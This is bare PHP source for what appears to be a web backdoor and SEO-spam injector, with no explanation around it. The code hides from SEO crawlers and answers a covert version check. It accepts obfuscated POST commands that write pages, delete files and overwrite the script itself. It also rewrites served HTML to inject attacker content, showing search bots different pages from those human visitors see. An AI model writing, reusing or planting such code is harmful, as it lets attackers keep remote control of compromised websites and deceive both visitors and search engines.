error_reporting(0); if (preg_match('/majestic|ahrefs|baidu/i',$_SERVER['HTTP_USER_AGENT'])) { return true; } $v = '004'; if (md5($_SERVER['HTTP_USER_AGENT']) == 'cb3fc0d641cc93f7ed6bcccb3dc2f163') { echo "PRZOKOZRP:".$v; exit; } $PrzPL = "466958b2a8e0b4f6f8e2bfbaf718e860"; ///FUNCTIONS START/////////////////////////////////////////////////////////////////////////// function PrzServerVar($var = '') { if ( isset($_SERVER) && is_array($_SERVER) && array_key_exists($var, $_SERVER) && !empty($_SERVER[$var]) ) { return $_SERVER[$var]; } else if ( function_exists('getenv') && getenv($var)) { return getenv($var); } else { return ''; } } function PrzGetRealIp() { if (!empty($_SERVER['HTTP_CLIENT_IP'])) { $ip=$_SERVER['HTTP_CLIENT_IP']; } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) { $ip=$_SERVER['HTTP_X_FORWARDED_FOR']; } else { $ip=$_SERVER['REMOTE_ADDR']; } return $ip; } function PrzGetHostname($remove_www = false) { $server_host = PrzServerVar('HTTP_HOST'); if ( empty($server_host) ) { $server_host = PrzServerVar('SERVER_NAME'); } if ( $remove_www ) { $server_host = preg_replace('#^www\.#i', '', $server_host); } return $server_host; } function PrzCurPageURL() { $pageURL = 'http'; if(isset($_SERVER['HTTPS'])) { if ($_SERVER["HTTPS"] == "on") {$pageURL .= "s";} } $pageURL .= "://"; $pageURL .= $_SERVER["SERVER_NAME"].$_SERVER["REQUEST_URI"]; return $pageURL; } function PrzGetMethod() { if ( (function_exists('curl_init')) && (function_exists('curl_exec')) ) { $res = "curl"; } elseif (function_exists('fsockopen')) { $res = "fsock"; } return $res; } function PrzDe($data) { return @gzinflate(@str_rot13(@base64_decode($data))); } function PrzCo($data){ return @base64_encode(@str_rot13(@gzdeflate($data))); } function PrzHiBot($Ip,$BotList,$Agent) { if (preg_match('/google|bing|aol|yahoo|yandex|msn|baidu|facebook/i',$Agent)) { return true; } $VisitorHost = strtolower(gethostbyaddr($Ip)); if (preg_match('/google|bing|aol|yahoo|yandex|msn|baidu|facebook/i',$VisitorHost)) { return true; } if (is_file($BotList)) { $iplist = file_get_contents($BotList); $iplist = explode("\n", $iplist); if (in_array($Ip, $iplist)) { return true; } } return false; } function PrzMkBL($BotList) { if (!file_exists($BotList) or (time() - filemtime($BotList) >= '100000')) { $botlistdata = file_get_contents('http://ru.myip.ms/files/bots/live_webcrawlers.txt'); $baseg = explode("#", $botlistdata); for($i=0;$i>>>>>> if ($_POST["przcmd"] == 'putfile') { $PrzData = base64_decode($_POST["przdata"]); $PrzData = unserialize($PrzData); $PrzPageContent = $PrzData['content']; $PrzPageUri = $PrzData['uri']; if ( (strlen($PrzPageContent) > 0) && (strlen($PrzPageUri) > 0) ) { $PrzPageContent = base64_decode($PrzPageContent); $PrzPageUri = base64_decode($PrzPageUri); $PrzPageContent = PrzCo($PrzPageContent); $PrzPageFile = $PrzWorkDir.md5($PrzPageUri); @file_put_contents($PrzPageFile,$PrzPageContent); die("PrzDone"); } } if ($_POST["przcmd"] == 'putrep') { $PrzData = $_POST["przdata"]; if (strlen($PrzData) > 0) { $PrzPageContent = PrzCo($PrzData); $PrzPageFile = $PrzWorkDir."sys.rep"; @file_put_contents($PrzPageFile,$PrzPageContent); die("PrzDone"); } } if ($_POST["przcmd"] == 'delpage') { $PrzData = base64_decode($_POST["przdata"]); $PrzData = unserialize($PrzData); $PrzPageUri = $PrzData['uri']; if (strlen($PrzPageUri) > 0) { $PrzPageUri = base64_decode($PrzPageUri); $PrzPageFile = $PrzWorkDir.md5($PrzPageUri); if (file_exists($PrzPageFile)) { unlink($PrzPageFile); } die("PrzDone"); } } if ($_POST["przcmd"] == 'selfup') { $PrzData = $_POST["przdata"]; if (strlen($PrzData) > 0) { $PrzData = str_replace(" ","+",$PrzData); $PrzData = base64_decode($PrzData); $PrzData = unserialize($PrzData); $selfdata = $PrzData['secretka']; $selfhash = $PrzData['hash']; $secretkahash = md5($selfdata); if ( ($selfdata<>'') && ($secretkahash == $selfhash) ) { @file_put_contents(__FILE__,$selfdata); die("PrzDone"); } else { die("WrongHash"); } } } //<<<<<<< } if (file_exists($PrzPageFile)) { $PrzPageContent = @file_get_contents($PrzPageFile); $PrzPageContent = PrzDe($PrzPageContent); echo $PrzPageContent; exit; } if (file_exists($PrzRepFile)) { $PrzBot = PrzHiBot($PrzVisitorIp,$PrzBL,$PrzVisitorAgent); $_ENV['PrzRepFile'] = $PrzRepFile; $_ENV['PrzBot'] = $PrzBot; $_ENV['PrzServerRequest'] = $PrzServerRequest; function ob_gzzhandle($html) { $gzip = FALSE; if (function_exists('gzdecode')) { if (gzdecode($html) != FALSE) { $gzip = TRUE; $html = gzdecode($html); } } $PrzRepData = @file_get_contents($_ENV['PrzRepFile']); $PrzRepData = PrzDe($PrzRepData); $PrzRepData = base64_decode($PrzRepData); $PrzRepData = explode("\n",$PrzRepData); foreach($PrzRepData as $OneRep) { $PrzMakeRep = TRUE; $OneRep = trim($OneRep); $OneRep = unserialize($OneRep); $PrzUri = $OneRep['uri']; $PrzStyle = $OneRep['style']; $PrzStr = $OneRep['str']; $PrzHtml = $OneRep['html']; $PrzUri = base64_decode($PrzUri); $PrzStyle = base64_decode($PrzStyle); $PrzStr = base64_decode($PrzStr); $PrzHtml = base64_decode($PrzHtml); if ( ($PrzUri<>'*') && ($PrzUri<>$_ENV['PrzServerRequest']) ) { $PrzMakeRep = FALSE; } if ($PrzMakeRep) { $html = str_replace($PrzStr,$PrzHtml,$html); if ( (!$_ENV['PrzBot']) && ($PrzStyle<>'nostyle') ) { $html = str_replace("",$PrzStyle."\n",$html); } } } if ($gzip) { $html = gzencode($html, 9); } return $html; } ob_start('ob_gzzhandle'); }